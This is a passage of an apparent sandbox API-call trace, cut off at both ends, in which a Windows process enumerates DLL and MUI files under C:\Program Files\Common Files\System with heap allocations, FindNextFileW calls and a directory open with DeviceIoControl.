ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0065.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0065.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7410) returned 1 [0065.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4220 [0065.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5778 [0065.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.596] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0065.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4240 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5880 [0065.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.597] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4260 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5568 [0065.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.597] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4280 [0065.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5988 [0065.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.597] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb42a0 [0065.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5b98 [0065.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa40) returned 0xfaa438 [0065.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8d10) returned 1 [0065.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.598] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb42c0 [0065.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5da8 [0065.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.598] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0065.598] GetLastError () returned 0x12 [0065.598] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0065.598] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0065.599] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0065.599] GetLastError () returned 0x12 [0065.599] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7498) returned 1 [0065.599] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0065.600] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0065.600] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0065.600] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0065.600] GetLastError () returned 0x12 [0065.600] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.600] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0065.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0065.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.601] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0065.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI" (normalized: "c:\\program files\\common files\\system\\msmapi"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI" (normalized: "c:\\program files\\common files\\system\\msmapi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0065.604] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0065.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb8d10 [0065.604] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb8d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb8d10, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0065.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8d10) returned 1 [0065.604] NtClose (Handle=0x194) returned 0x0 [0065.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, 